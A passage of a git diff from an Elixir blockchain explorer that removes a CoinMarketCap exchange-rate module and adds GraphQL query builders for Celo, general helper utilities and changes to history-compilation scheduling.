token_properties["quote"]["USD"] && - token_properties["quote"]["USD"]["market_cap"] - end - - defp get_total_volume_data_usd(token_properties) do - token_properties && token_properties["quote"] && - token_properties["quote"]["USD"] && - token_properties["quote"]["USD"]["volume_24h"] - end - - defp get_last_updated(token_properties) do - last_updated_data = token_properties && token_properties["last_updated"] - - if last_updated_data do - {:ok, last_updated, 0} = DateTime.from_iso8601(last_updated_data) - last_updated - else - nil - end - end - - defp get_current_price(token_properties) do - if token_properties && token_properties["quote"] && token_properties["quote"]["USD"] && - token_properties["quote"]["USD"]["price"] do - to_decimal(token_properties["quote"]["USD"]["price"]) - else - 1 - end - end - - defp get_btc_value(id, token_properties) do - case get_btc_price() do - {:ok, price} -> - btc_price = to_decimal(price) - current_price = get_current_price(token_properties) - - if id != "btc" && current_price && btc_price do - Decimal.div(current_price, btc_price) - else - 1 - end - - _ -> - 1 - end - end - - defp base_url do - config(:base_url) || "https://pro-api.coinmarketcap.com/v2" - end - - defp api_quotes_latest_url do - "#{base_url()}/cryptocurrency/quotes/latest" - end - - defp get_btc_price(currency \\ "usd") do - url = "#{api_quotes_latest_url()}?symbol=BTC&CMC_PRO_API_KEY=#{api_key()}" - - case Source.http_request(url, headers()) do - {:ok, data} = resp -> - if is_map(data) do - current_price = data["rates"][currency]["value"] - - {:ok, current_price} - else - resp - end - - resp -> - resp - end - end - - @spec config(atom()) :: term - defp config(key) do - Application.get_env(:explorer, __MODULE__, [])[key] - end -end diff --git a/apps/explorer/lib/explorer/exchange_rates/token.ex b/apps/explorer/lib/explorer/exchange_rates/token.ex deleted file mode 100644 index 6521181c1234..000000000000 --- a/apps/explorer/lib/explorer/exchange_rates/token.ex +++ /dev/null @@ -1,86 +0,0 @@ -defmodule Explorer.ExchangeRates.Token do - @moduledoc """ - Data container for modeling an exchange rate for a currency/token. - """ - - @typedoc """ - Represents an exchange rate for a given token. - - * `:available_supply` - Available supply of a token - * `:total_supply` - Max Supply - * `:btc_value` - The Bitcoin value of the currency - * `:id` - ID of a currency - * `:last_updated` - Timestamp of when the value was last updated - * `:market_cap_usd` - Market capitalization of the currency - * `:name` - Human-readable name of a ticker - * `:symbol` - Trading symbol used to represent a currency - * `:usd_value` - The USD value of the currency - * `:volume_24h_usd` - The volume from the last 24 hours in USD - """ - @type t :: %__MODULE__{ - available_supply: Decimal.t(), - total_supply: Decimal.t(), - btc_value: Decimal.t(), - id: String.t(), - last_updated: DateTime.t(), - market_cap_usd: Decimal.t(), - name: String.t(), - symbol: String.t(), - usd_value: Decimal.t(), - volume_24h_usd: Decimal.t() - } - - @enforce_keys ~w(available_supply total_supply btc_value id last_updated market_cap_usd name symbol usd_value volume_24h_usd)a - defstruct ~w(available_supply total_supply btc_value id last_updated market_cap_usd name symbol usd_value volume_24h_usd)a - - def null, - do: %__MODULE__{ - symbol: nil, - id: nil, - name: nil, - available_supply: nil, - total_supply: nil, - usd_value: nil, - volume_24h_usd: nil, - market_cap_usd: nil, - btc_value: nil, - last_updated: nil - } - - def null?(token), do: token == null() - - def to_tuple(%__MODULE__{ - symbol: symbol, - id: id, - name: name, - available_supply: available_supply, - total_supply: total_supply, - usd_value: usd_value, - volume_24h_usd: volume_24h_usd, - market_cap_usd: market_cap_usd, - btc_value: btc_value, - last_updated: last_updated - }) do - # symbol is first because it is the key used for lookup in `Explorer.ExchangeRates`'s ETS table - {symbol, id, name, available_supply, total_supply, usd_value, volume_24h_usd, market_cap_usd, btc_value, - last_updated} - end - - def from_tuple( - {symbol, id, name, available_supply, total_supply, usd_value, volume_24h_usd, market_cap_usd, btc_value, - last_updated} - ) do - %__MODULE__{ - symbol: symbol, - id: id, - name: name, - available_supply: available_supply, - total_supply: total_supply, - usd_value: usd_value, - volume_24h_usd: volume_24h_usd, - market_cap_usd: market_cap_usd, - btc_value: btc_value, - last_updated: last_updated - } - end -end diff --git a/apps/explorer/lib/explorer/graphql.ex b/apps/explorer/lib/explorer/graphql.ex index aa341e095f9a..3ebc7e575ed5 100644 --- a/apps/explorer/lib/explorer/graphql.ex +++ b/apps/explorer/lib/explorer/graphql.ex @@ -11,26 +11,30 @@ defmodule Explorer.GraphQL do where: 3 ] + alias Explorer.{Chain, Repo} + alias Explorer.Chain.{ Hash, InternalTransaction, + Token, TokenTransfer, Transaction } - alias Explorer.{Chain, Repo} + @api_true [api?: true] @doc """ Returns a query to fetch transactions with a matching `to_address_hash`, `from_address_hash`, or `created_contract_address_hash` field for a given address hash. - Orders transactions by `block_number` and `index` according to to `order` + Orders transactions by `block_number` and `index` according to `order` """ @spec address_to_transactions_query(Hash.Address.t(), :desc | :asc) :: Ecto.Query.t() def address_to_transactions_query(address_hash, order) do + dynamic = Transaction.where_transactions_to_from(address_hash) + Transaction - |> where([transaction], transaction.to_address_hash == ^address_hash) - |> or_where([transaction], transaction.from_address_hash == ^address_hash) + |> where([transaction], ^dynamic) |> or_where([transaction], transaction.created_contract_address_hash == ^address_hash) |> order_by([transaction], [{^order, transaction.block_number}, {^order, transaction.index}]) end @@ -61,13 +65,12 @@ defmodule Explorer.GraphQL do it in InternalTransaction, inner_join: t in assoc(it, :transaction), order_by: [asc: it.index], - where: it.transaction_hash == ^hash, - select: it + where: it.transaction_hash == ^hash ) query |> InternalTransaction.where_nonpending_block() - |> Chain.where_transaction_has_multiple_internal_transactions() + |> InternalTransaction.where_transaction_has_multiple_internal_transactions() end @doc """ @@ -82,6 +85,31 @@ defmodule Explorer.GraphQL do end end + @doc """ + Returns a token for a given contract address hash. + """ + @spec get_token(map()) :: {:ok, Token.t()} | {:error, String.t()} + def get_token(%{contract_address_hash: _} = clauses) do + if token = Repo.replica().get_by(Token, clauses) do + {:ok, token} + else + {:error, "Token not found."} + end + end + + @doc """ + Returns a transaction for a given hash. + """ + @spec get_transaction_by_hash(Hash.t()) :: {:ok, Transaction.t()} | {:error, String.t()} + def get_transaction_by_hash(hash) do + hash + |> Chain.hash_to_transaction(@api_true) + |> case do + {:ok, _} = result -> result + {:error, :not_found} -> {:error, "Transaction not found."} + end + end + @doc """ Returns a query to fetch token transfers for a token contract address hash. @@ -93,8 +121,7 @@ defmodule Explorer.GraphQL do tt in TokenTransfer, inner_join: t in assoc(tt, :transaction), where: tt.token_contract_address_hash == ^token_contract_address_hash, - order_by: [desc: tt.block_number], - select: tt + order_by: [desc: tt.block_number, desc: tt.log_index] ) end end diff --git a/apps/explorer/lib/explorer/graphql/celo.ex b/apps/explorer/lib/explorer/graphql/celo.ex new file mode 100644 index 000000000000..6f82167619dc --- /dev/null +++ b/apps/explorer/lib/explorer/graphql/celo.ex @@ -0,0 +1,160 @@ +defmodule Explorer.GraphQL.Celo do + @moduledoc """ + Defines Ecto queries to fetch Celo blockchain data for the legacy GraphQL + schema. + + Includes functions to construct queries for token transfers and transactions. + """ + + import Ecto.Query, + only: [from: 2, order_by: 3, where: 3, subquery: 1] + + alias Explorer.Chain.{ + Block, + Hash, + Token, + TokenTransfer, + Transaction + } + + @doc """ + Constructs a paginated query for token transfers involving a specific address. + """ + @spec token_transaction_transfers_query_for_address(Hash.Address.t(), integer(), integer()) :: Ecto.Query.t() + def token_transaction_transfers_query_for_address(address_hash, offset, limit) do + page = floor(offset / limit) + 1 + growing_limit = limit * (page + 1) + + tokens = + from( + tt in TokenTransfer, + where: not is_nil(tt.transaction_hash), + where: tt.to_address_hash == ^address_hash, + or_where: tt.from_address_hash == ^address_hash, + select: %{ + transaction_hash: tt.transaction_hash, + block_number: tt.block_number, + to_address_hash: tt.to_address_hash, + from_address_hash: tt.from_address_hash + }, + distinct: [desc: tt.block_number, desc: tt.transaction_hash], + order_by: [ + desc: tt.block_number, + desc: tt.transaction_hash, + desc: tt.from_address_hash, + desc: tt.to_address_hash + ], + limit: ^growing_limit + ) + + query = + from( + tt in subquery(tokens), + as: :token_transfer, + inner_join: transaction in Transaction, + as: :transaction, + on: transaction.hash == tt.transaction_hash, + inner_join: b in Block, + on: transaction.block_hash == b.hash, + left_join: token in Token, + on: transaction.gas_token_contract_address_hash == token.contract_address_hash, + select: %{ + transaction_hash: tt.transaction_hash, + to_address_hash: tt.to_address_hash, + from_address_hash: tt.from_address_hash, + gas_used: transaction.gas_used, + gas_price: transaction.gas_price, + fee_currency: transaction.gas_token_contract_address_hash, + fee_token: fragment("coalesce(?, 'CELO')", token.symbol), + # gateway_fee: transaction.gateway_fee, + # gateway_fee_recipient: transaction.gas_fee_recipient_hash, + timestamp: b.timestamp, + input: transaction.input, + nonce: transaction.nonce, + block_number: tt.block_number + } + ) + + query + |> order_by( + [transaction: t], + desc: t.block_number, + desc: t.hash, + asc: t.nonce, + desc: t.from_address_hash, + desc: t.to_address_hash + ) + end + + @doc """ + Constructs a query to fetch token transfers within a given transaction. + + ## Parameters + - transaction_hash: the hash of the transaction + + ## Returns + - Ecto query + """ + @spec token_transaction_transfers_query_by_transaction_hash(Hash.Full.t()) :: Ecto.Query.t() + def token_transaction_transfers_query_by_transaction_hash(transaction_hash) do + query = token_transaction_transfers_query() + + from( + t in subquery(query), + where: t.transaction_hash == ^transaction_hash, + order_by: [t.log_index] + ) + end + + @doc """ + Constructs a query for token transfers filtered by a specific address. + """ + @spec token_transaction_transfers_query_by_address(Hash.Address.t()) :: Ecto.Query.t() + def token_transaction_transfers_query_by_address(address_hash) do + token_transaction_transfers_query() + |> where([t], t.from_address_hash == ^address_hash or t.to_address_hash == ^address_hash) + |> order_by([transaction: t], desc: t.block_number, asc: t.nonce) + end + + @doc """ + Constructs a query to fetch detailed token transfer information. + """ + @spec token_transaction_transfers_query() :: Ecto.Query.t() + def token_transaction_transfers_query do + from( + tt in TokenTransfer, + inner_join: transaction in Transaction, + as: :transaction, + on: transaction.hash == tt.transaction_hash, + inner_join: b in Block, + on: tt.block_number == b.number, + # left_join: wf in CeloWalletAccounts, + # on: tt.from_address_hash == wf.wallet_address_hash, + # left_join: wt in CeloWalletAccounts, + # on: tt.to_address_hash == wt.wallet_address_hash, + left_join: token in Token, + on: tt.token_contract_address_hash == token.contract_address_hash, + select: %{ + gas_used: transaction.gas_used, + gas_price: transaction.gas_price, + timestamp: b.timestamp, + input: transaction.input, + transaction_hash: tt.transaction_hash, + from_address_hash: tt.from_address_hash, + to_address_hash: tt.to_address_hash, + # from_account_hash: wf.account_address_hash, + # to_account_hash: wt.account_address_hash, + log_index: tt.log_index, + value: tt.amount, + # comment: tt.comment, + token: token.symbol, + token_address: token.contract_address_hash, + nonce: transaction.nonce, + block_number: tt.block_number, + token_type: token.type, + token_id: fragment("(COALESCE(?, ARRAY[]::Decimal[]))[1]", tt.token_ids) + }, + order_by: [desc: tt.block_number, desc: tt.amount, desc: tt.log_index] + ) + end +end diff --git a/apps/explorer/lib/explorer/helper.ex b/apps/explorer/lib/explorer/helper.ex new file mode 100644 index 000000000000..c6d6a327c9b8 --- /dev/null +++ b/apps/explorer/lib/explorer/helper.ex @@ -0,0 +1,633 @@ +defmodule Explorer.Helper do + @moduledoc """ + Auxiliary common functions. + """ + + alias ABI.TypeDecoder + alias Explorer.Chain + alias Explorer.Chain.{Address.Reputation, Address.ScamBadgeToAddress, Data, Hash, Wei} + + import Ecto.Query + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] + + @max_safe_integer round(:math.pow(2, 63)) - 1 + + @spec decode_data(binary() | map(), list()) :: list() | nil + def decode_data("0x", types) do + for _ <- types, do: nil + end + + def decode_data("0x" <> encoded_data, types) do + decode_data(encoded_data, types) + end + + def decode_data(%Data{} = data, types) do + data + |> Data.to_string() + |> decode_data(types) + end + + def decode_data(encoded_data, types) do + encoded_data + |> Base.decode16!(case: :mixed) + |> TypeDecoder.decode_raw(types) + end + + @doc """ + Takes an Ethereum hash and converts it to a standard 20-byte address by + truncating the leading zeroes. If the input is `nil`, it returns the burn + address. + + ## Parameters + - `address_hash` (`EthereumJSONRPC.hash()` | `nil`): The full address hash to + be truncated, or `nil`. + + ## Returns + - `EthereumJSONRPC.address()`: The truncated address or the burn address if + the input is `nil`. + + ## Examples + + iex> truncate_address_hash("0x000000000000000000000000abcdef1234567890abcdef1234567890abcdef") + "0xabcdef1234567890abcdef1234567890abcdef" + + iex> truncate_address_hash(nil) + "0x0000000000000000000000000000000000000000" + """ + @spec truncate_address_hash(EthereumJSONRPC.hash() | nil) :: EthereumJSONRPC.address() + def truncate_address_hash(address_hash) + + def truncate_address_hash(nil), do: burn_address_hash_string() + + def truncate_address_hash("0x000000000000000000000000" <> truncated_hash) do + "0x#{truncated_hash}" + end + + @doc """ + Safely parses a string or integer into an integer value. + + Handles both string and integer inputs: + - For string input: Converts only if the entire string represents a valid integer + - For integer input: Returns the integer as is + - For any other input: Returns nil + + ## Parameters + - `int_or_string`: A binary string containing an integer or an integer value + + ## Returns + - The parsed integer if successful + - `nil` if the input is invalid or contains non-integer characters + """ + @spec parse_integer(binary() | integer()) :: integer() | nil + def parse_integer(int_or_string) + + def parse_integer(integer_string) when is_binary(integer_string) do + case Integer.parse(integer_string) do + {integer, ""} -> integer + _ -> nil + end + end + + def parse_integer(value) when is_integer(value) do + value + end + + def parse_integer(_integer_string), do: nil + + @doc """ + Parses number from hex string or decimal number string + """ + @spec parse_number(binary() | nil) :: integer() | nil + def parse_number(nil), do: nil + + def parse_number(number) when is_integer(number) do + number + end + + def parse_number("0x" <> hex_number) do + {number, ""} = Integer.parse(hex_number, 16) + + number + end + + def parse_number(""), do: 0 + + def parse_number(string_number) do + {number, ""} = Integer.parse(string_number, 10) + + number + end + + @doc """ + Converts a string to an integer, ensuring it's non-negative and within the + acceptable range for database insertion. + + ## Examples + + iex> safe_parse_non_negative_integer("0") + {:ok, 0} + + iex> safe_parse_non_negative_integer("-1") + {:error, :negative_integer} + + iex> safe_parse_non_negative_integer("27606393966689717254124294199939478533331961967491413693980084341759630764504") + {:error, :too_big_integer} + """ + @spec safe_parse_non_negative_integer(String.t(), integer()) :: + {:ok, integer()} | {:error, :negative_integer | :too_big_integer | :invalid_integer} + def safe_parse_non_negative_integer(string, max_safe_integer \\ @max_safe_integer) do + case Integer.parse(string) do + {num, ""} -> + case num do + _ when num > max_safe_integer -> {:error, :too_big_integer} + _ when num < 0 -> {:error, :negative_integer} + _ -> {:ok, num} + end + + _ -> + {:error, :invalid_integer} + end + end + + @doc """ + Function to preload a `struct` for each element of the `list`. + You should specify a primary key for a `struct` in `references_field`, + and the list element's foreign key in `foreign_key_field`. + Results will be placed to `preload_field` + """ + @spec custom_preload(list(map()), keyword(), atom(), atom(), atom(), atom()) :: list() + def custom_preload( + list, + options, + struct, + foreign_key_field, + references_field, + preload_field, + preload_field_association \\ [] + ) do + to_fetch_from_db = list |> Enum.map(& &1[foreign_key_field]) |> Enum.uniq() + + associated_elements = + struct + |> where([t], field(t, ^references_field) in ^to_fetch_from_db) + |> preload(^preload_field_association) + |> Chain.select_repo(options).all() + |> Enum.reduce(%{}, fn el, acc -> Map.put(acc, Map.from_struct(el)[references_field], el) end) + + Enum.map(list, fn el -> Map.put(el, preload_field, associated_elements[el[foreign_key_field]]) end) + end + + @doc """ + Decode json + """ + @spec decode_json(any(), boolean()) :: map() | list() | {:error, any()} | nil + def decode_json(data, error_as_tuple? \\ false) + + def decode_json(nil, _), do: nil + + def decode_json(data, error_as_tuple?) do + if String.valid?(data) do + safe_decode_json(data, error_as_tuple?) + else + data + |> :unicode.characters_to_binary(:latin1) + |> safe_decode_json(error_as_tuple?) + end + end + + defp safe_decode_json(data, error_as_tuple?) do + case Jason.decode(data) do + {:ok, decoded} -> decoded + {:error, reason} -> if error_as_tuple?, do: {:error, reason}, else: %{error: data} + end + end + + @doc """ + Checks if input is a valid URL + """ + @spec validate_url(String.t() | nil) :: {:ok, String.t()} | :error + def validate_url(url) when is_binary(url) do + case URI.parse(url) do + %URI{host: nil} -> :error + _ -> {:ok, url} + end + end + + def validate_url(_), do: :error + + @doc """ + Validate url + """ + @spec valid_url?(String.t()) :: boolean() + def valid_url?(string) when is_binary(string) do + uri = URI.parse(string) + + !is_nil(uri.scheme) && !is_nil(uri.host) + end + + def valid_url?(_), do: false + + @doc """ + Compare two values and returns either :lt, :eq or :gt. + + Please be careful: this function compares arguments using `<` and `>`, + hence it should not be used to compare structures (for instance %DateTime{} or %Decimal{}). + """ + @spec compare(term(), term()) :: :lt | :eq | :gt + def compare(a, b) do + cond do + a < b -> :lt + a > b -> :gt + true -> :eq + end + end + + @doc """ + Conditionally hides scam addresses in the given query. + + ## Parameters + + - query: The Ecto query to be modified. + - address_hash_key: The key used to identify address hash field in the query to join with base query table on. + + ## Returns + + The modified query with scam addresses hidden, if applicable. + """ + @spec maybe_hide_scam_addresses_with_select(nil | Ecto.Query.t(), atom(), [ + Chain.paging_options() | Chain.api?() | Chain.show_scam_tokens?() + ]) :: Ecto.Query.t() + def maybe_hide_scam_addresses_with_select(nil, _address_hash_key, _options), do: nil + + def maybe_hide_scam_addresses_with_select(query, address_hash_key, options) do + cond do + Application.get_env(:block_scout_web, :hide_scam_addresses) && !options[:show_scam_tokens?] -> + query + |> join(:left, [q], sabm in ScamBadgeToAddress, as: :sabm, on: sabm.address_hash == field(q, ^address_hash_key)) + |> where([sabm: sabm], is_nil(sabm.address_hash)) + |> select_merge([q], %{reputation: %Reputation{reputation: "ok"}}) + + Application.get_env(:block_scout_web, :hide_scam_addresses) && options[:show_scam_tokens?] -> + query + |> join(:left, [q], sabm in ScamBadgeToAddress, as: :sabm, on: sabm.address_hash == field(q, ^address_hash_key)) + |> select_merge([q, sabm: sabm], %{ + reputation: %Reputation{ + reputation: fragment("CASE WHEN ? THEN ? ELSE ? END", is_nil(sabm.address_hash), "ok", "scam") + } + }) + + true -> + query + |> select_merge([q], %{reputation: %Reputation{reputation: "ok"}}) + end + end + + @doc """ + Conditionally hides scam addresses in the given query, does not select the reputation field. + """ + @spec maybe_hide_scam_addresses(nil | Ecto.Query.t(), atom(), [ + Chain.paging_options() | Chain.api?() | Chain.show_scam_tokens?() + ]) :: Ecto.Query.t() + def maybe_hide_scam_addresses(nil, _address_hash_key, _options), do: nil + + def maybe_hide_scam_addresses(query, address_hash_key, options) do + cond do + Application.get_env(:block_scout_web, :hide_scam_addresses) && !options[:show_scam_tokens?] -> + query + |> join(:left, [q], sabm in ScamBadgeToAddress, as: :sabm, on: sabm.address_hash == field(q, ^address_hash_key)) + |> where([sabm: sabm], is_nil(sabm.address_hash)) + + Application.get_env(:block_scout_web, :hide_scam_addresses) && options[:show_scam_tokens?] -> + query + + true -> + query + end + end + + @doc """ + Conditionally hides scam addresses in the given query, does not select the reputation field. + """ + @spec maybe_hide_scam_addresses_for_search(nil | Ecto.Query.t(), atom(), [ + Chain.paging_options() | Chain.api?() | Chain.show_scam_tokens?() + ]) :: Ecto.Query.t() + def maybe_hide_scam_addresses_for_search(nil, _address_hash_key, _options), do: nil + + def maybe_hide_scam_addresses_for_search(query, address_hash_key, options) do + cond do + Application.get_env(:block_scout_web, :hide_scam_addresses) && !options[:show_scam_tokens?] -> + query + |> join(:left, [q], sabm in ScamBadgeToAddress, as: :sabm, on: sabm.address_hash == field(q, ^address_hash_key)) + |> where([sabm: sabm], is_nil(sabm.address_hash)) + + Application.get_env(:block_scout_web, :hide_scam_addresses) && options[:show_scam_tokens?] -> + query + |> join(:left, [q], sabm in ScamBadgeToAddress, as: :sabm, on: sabm.address_hash == field(q, ^address_hash_key)) + + true -> + query + end + end + + @doc """ + Function used for identify cases when user explicitly requests to show scam addresses and there are enabled scam addresses in the application. + """ + @spec force_show_scam_addresses?(keyword()) :: boolean() + def force_show_scam_addresses?(options) do + Application.get_env(:block_scout_web, :hide_scam_addresses) && options[:show_scam_tokens?] + end + + @doc """ + Checks if a specified time interval has passed since a given datetime. + + This function compares the given datetime plus the interval against the current + time. It returns `true` if the interval has passed, or the number of seconds + remaining if it hasn't. + + ## Parameters + - `sent_at`: The reference datetime, or `nil`. + - `interval`: The time interval in milliseconds. + + ## Returns + - `true` if the interval has passed or if `sent_at` is `nil`. + - An integer representing the number of seconds remaining in the interval if it + hasn't passed yet. + """ + @spec check_time_interval(DateTime.t() | nil, integer()) :: true | integer() + def check_time_interval(nil, _interval), do: true + + def check_time_interval(sent_at, interval) do + now = DateTime.utc_now() + + if sent_at + |> DateTime.add(interval, :millisecond) + |> DateTime.compare(now) != :gt do + true + else + sent_at + |> DateTime.add(interval, :millisecond) + |> DateTime.diff(now, :second) + end + end + + @doc """ + Retrieves the host URL for the BlockScoutWeb application. + + This function fetches the host URL from the application's configuration, + specifically from the `:block_scout_web` application's `BlockScoutWeb.Endpoint` + configuration. + + ## Returns + A string containing the host URL for the BlockScoutWeb application. + """ + @spec get_app_host :: String.t() + def get_app_host do + Application.get_env(:block_scout_web, BlockScoutWeb.Endpoint)[:url][:host] + end + + @doc """ + Converts `Explorer.Chain.Hash.t()` or string hash to DB-acceptable format. + For example "0xabcdef1234567890abcdef1234567890abcdef" -> "\\xabcdef1234567890abcdef1234567890abcdef" + """ + @spec hash_to_query_string(Hash.t() | String.t()) :: String.t() + def hash_to_query_string(hash) do + s_hash = + hash + |> to_string() + |> String.trim_leading("0") + + "\\#{s_hash}" + end + + def parse_boolean("true"), do: true + def parse_boolean("false"), do: false + + def parse_boolean(true), do: true + def parse_boolean(false), do: false + + def parse_boolean(_), do: false + + @doc """ + Adds 0x at the beginning of the binary hash, if it is not already there. + """ + @spec add_0x_prefix(input) :: output + when input: nil | :error | binary() | Hash.t() | [input], + output: nil | :error | binary() | [output] + def add_0x_prefix(nil), do: nil + + def add_0x_prefix(:error), do: :error + + def add_0x_prefix(binary_hashes) when is_list(binary_hashes) do + binary_hashes + |> Enum.map(fn binary_hash -> add_0x_prefix(binary_hash) end) + end + + def add_0x_prefix(%Hash{bytes: bytes}) do + "0x" <> Base.encode16(bytes, case: :lower) + end + + def add_0x_prefix(binary_hash) when is_binary(binary_hash) do + if String.starts_with?(binary_hash, "0x") and String.printable?(binary_hash) do + binary_hash + else + "0x" <> Base.encode16(binary_hash, case: :lower) + end + end + + @doc """ + Converts an integer to its hexadecimal string representation prefixed with "0x". + + The resulting hexadecimal string is in lowercase. + + ## Parameters + + - `integer` (integer): The integer to be converted to a hexadecimal string. + + ## Returns + + - `binary()`: A string representing the hexadecimal value of the input integer, prefixed with "0x". + + ## Examples + + iex> Explorer.Helper.integer_to_hex(255) + "0x00ff" + + iex> Explorer.Helper.integer_to_hex(4096) + "0x1000" + + """ + @spec integer_to_hex(integer()) :: binary() + def integer_to_hex(integer), do: "0x" <> String.downcase(Integer.to_string(integer, 16)) + + @doc """ + Converts a `Decimal` value to its hexadecimal representation. + + ## Parameters + + - `decimal` (`Decimal.t()`): The decimal value to be converted. + + ## Returns + + - `binary()`: The hexadecimal representation of the given decimal value. + - `nil`: If the conversion fails. + + ## Examples + + iex> decimal_to_hex(Decimal.new(255)) + "0xff" + + iex> decimal_to_hex(Decimal.new(0)) + "0x0" + + iex> decimal_to_hex(nil) + nil + """ + @spec decimal_to_hex(Decimal.t()) :: binary() | nil + def decimal_to_hex(decimal) do + decimal + |> Decimal.to_integer() + |> integer_to_hex() + end + + @doc """ + Converts a `DateTime` struct to its hexadecimal representation. + + If the input is `nil`, the function returns `nil`. + + ## Parameters + + - `datetime`: A `DateTime` struct or `nil`. + + ## Returns + + - A binary string representing the hexadecimal value of the Unix timestamp + of the given `DateTime`, or `nil` if the input is `nil`. + + ## Examples + + iex> datetime = ~U[2023-03-15 12:34:56Z] + iex> Explorer.Helper.datetime_to_hex(datetime) + "0x6411e6b0" + + iex> Explorer.Helper.datetime_to_hex(nil) + nil + """ + @spec datetime_to_hex(DateTime.t() | nil) :: binary() | nil + def datetime_to_hex(nil), do: nil + + def datetime_to_hex(datetime) do + datetime + |> DateTime.to_unix() + |> integer_to_hex() + end + + @doc """ + Converts `0x` string to the byte sequence (binary). Throws `ArgumentError` exception if + the padding is incorrect or a non-alphabet character is present in the string. + + ## Parameters + - `hash`: The 0x string of bytes. + + ## Returns + - The binary byte sequence. + """ + @spec hash_to_binary(String.t()) :: binary() + def hash_to_binary(hash) do + hash + |> String.trim_leading("0x") + |> Base.decode16!(case: :mixed) + end + + @doc """ + Converts a Unix timestamp to a Date struct. + + Takes a non-negative integer representing seconds since Unix epoch (January 1, + 1970, 00:00:00 UTC) and returns the corresponding date. + + ## Parameters + - `unix_timestamp`: Non-negative integer of seconds since Unix epoch + + ## Returns + - A Date struct representing the date part of the timestamp + + ## Raises + - ArgumentError: If the timestamp is invalid + """ + @spec unix_timestamp_to_date(non_neg_integer(), System.time_unit()) :: Date.t() + def unix_timestamp_to_date(unix_timestamp, unit \\ :second) do + unix_timestamp + |> DateTime.from_unix!(unit) + |> DateTime.to_date() + end + + @doc """ + Extracts the method ID from an ABI specification. + + ## Parameters + - `method` ([map()] | map()): The ABI specification, either as a single map + or a list containing one map. + + ## Returns + - `binary()`: The method ID extracted from the ABI specification. + + ## Examples + + iex> Indexer.Fetcher.Celo.Helper.abi_to_method_id([%{"name" => "transfer", "type" => "function", "inputs" => [%{"name" => "to", "type" => "address"}]}]) + <<26, 105, 82, 48>> + + """ + @spec abi_to_method_id([map()] | map()) :: binary() + def abi_to_method_id([method]), do: abi_to_method_id(method) + + def abi_to_method_id(method) when is_map(method) do + [parsed_method] = ABI.parse_specification([method]) + parsed_method.method_id + end + + @doc """ + Adds `inserted_at` and `updated_at` timestamps to a list of maps. + + This function takes a list of maps (`params`) and adds the current UTC + timestamp (`DateTime.utc_now/0`) as the values for the `:inserted_at` and + `:updated_at` keys in each map. + + ## Parameters + + - `params` - A list of maps to which the timestamps will be added. + + ## Returns + + - A list of maps, each containing the original keys and values along with + the `:inserted_at` and `:updated_at` keys set to the current UTC timestamp. + """ + @spec add_timestamps([map()]) :: [map()] + def add_timestamps(params) do + now = DateTime.utc_now() + + Enum.map(params, &Map.merge(&1, %{inserted_at: now, updated_at: now})) + end + + @doc """ + Converts various value types to a Decimal type. + + This function handles multiple input types and ensures they are properly + converted to a Decimal representation. + + ## Parameters + - `value`: The value to convert, which can be: + - `nil`: Converted to Decimal 0 + - `%Wei{}`: The Decimal value is extracted from the struct + - `float`: Converted using Decimal.from_float/1 + - `String.t()` or `integer()`: Converted using Decimal.new/1 + - `Decimal.t()`: Returned unchanged + + ## Returns + - A Decimal representation of the input value + """ + @spec number_to_decimal(nil | Wei.t() | integer() | float() | String.t() | Decimal.t()) :: Decimal.t() + def number_to_decimal(nil), do: Decimal.new(0) + def number_to_decimal(%Wei{value: value}), do: value + def number_to_decimal(value) when is_float(value), do: Decimal.from_float(value) + def number_to_decimal(value) when is_binary(value) or is_integer(value), do: Decimal.new(value) + def number_to_decimal(%Decimal{} = value), do: value +end diff --git a/apps/explorer/lib/explorer/history/historian.ex b/apps/explorer/lib/explorer/history/historian.ex index 3fe41702c156..f0dcedeae27c 100644 --- a/apps/explorer/lib/explorer/history/historian.ex +++ b/apps/explorer/lib/explorer/history/historian.ex @@ -7,7 +7,8 @@ defmodule Explorer.History.Historian do Record of historical values for a specific date. """ @type record :: %{ - date: Date.t() + required(:date) => Date.t(), + optional(atom()) => any() } @doc """ diff --git a/apps/explorer/lib/explorer/history/process.ex b/apps/explorer/lib/explorer/history/process.ex index af39ab39e612..3b9c190140d2 100644 --- a/apps/explorer/lib/explorer/history/process.ex +++ b/apps/explorer/lib/explorer/history/process.ex @@ -10,11 +10,7 @@ defmodule Explorer.History.Process do @impl GenServer def init([:ok, historian]) do - init_lag = - case Application.get_env(:explorer, historian, [])[:init_lag] do - t when is_integer(t) and t >= 0 -> t - _ -> 0 - end + init_lag_milliseconds = Application.get_env(:explorer, historian, [])[:init_lag_milliseconds] || 0 days_to_compile = case Application.get_env(:explorer, historian, [])[:days_to_compile_at_init] do @@ -22,7 +18,7 @@ defmodule Explorer.History.Process do _ -> 365 end - Process.send_after(self(), {:compile_historical_records, days_to_compile}, init_lag) + Process.send_after(self(), {:compile_historical_records, days_to_compile}, init_lag_milliseconds) {:ok, %{historian: historian}} end @@ -59,13 +55,12 @@ defmodule Explorer.History.Process do end defp schedule_next_compilation do - delay = config_or_default(:history_fetch_interval, :timer.minutes(60)) - Process.send_after(self(), {:compile_historical_records, 2}, delay) + Process.send_after(self(), {:compile_historical_records, 2}, calculate_delay_until_next_midnight()) end @spec failed_compilation(non_neg_integer(), module(), non_neg_integer()) :: any() defp failed_compilation(day_count, historian, failed_attempts) do - Logger.warn(fn -> "Failed to fetch market history. Trying again." end) + Logger.warning(fn -> "Failed to fetch market history. Trying again." end) compile_historical_records(day_count, historian, failed_attempts + 1) end @@ -73,13 +68,39 @@ defmodule Explorer.History.Process do defp compile_historical_records(day_count, historian, failed_attempts \\ 0) do Task.Supervisor.async_nolink(Explorer.HistoryTaskSupervisor, fn -> Process.sleep(delay(failed_attempts)) - {day_count, failed_attempts, historian.compile_records(day_count)} + + try do + {day_count, failed_attempts, historian.compile_records(day_count)} + rescue + exception -> + Logger.error(fn -> + [ + "Error on compile_historical_records (day_count=#{day_count}, failed_attempts=#{failed_attempts}):", + Exception.format(:error, exception) + ] + end) + + {day_count, failed_attempts, :error} + end end) end - # Helpers + # Helper @typep milliseconds :: non_neg_integer() + @doc """ + Retrieves a configuration value from the `:explorer` application or returns a default if not set. + + ## Parameters + - `key`: The configuration key to look up. + - `default`: The default value to return if the configuration is not found. + - `module`: The module to look up the configuration for. Defaults to the + calling module. + + ## Returns + - The configuration value if found in the :explorer application settings, + otherwise the default value. + """ @spec config_or_default(atom(), term(), module()) :: term() def config_or_default(key, default, module \\ __MODULE__) do Application.get_env(:explorer, module, [])[key] || default @@ -99,4 +120,14 @@ defmodule Explorer.History.Process do multiplier = Enum.reduce(2..failed_attempts, 1, fn _, acc -> 2 * acc end) 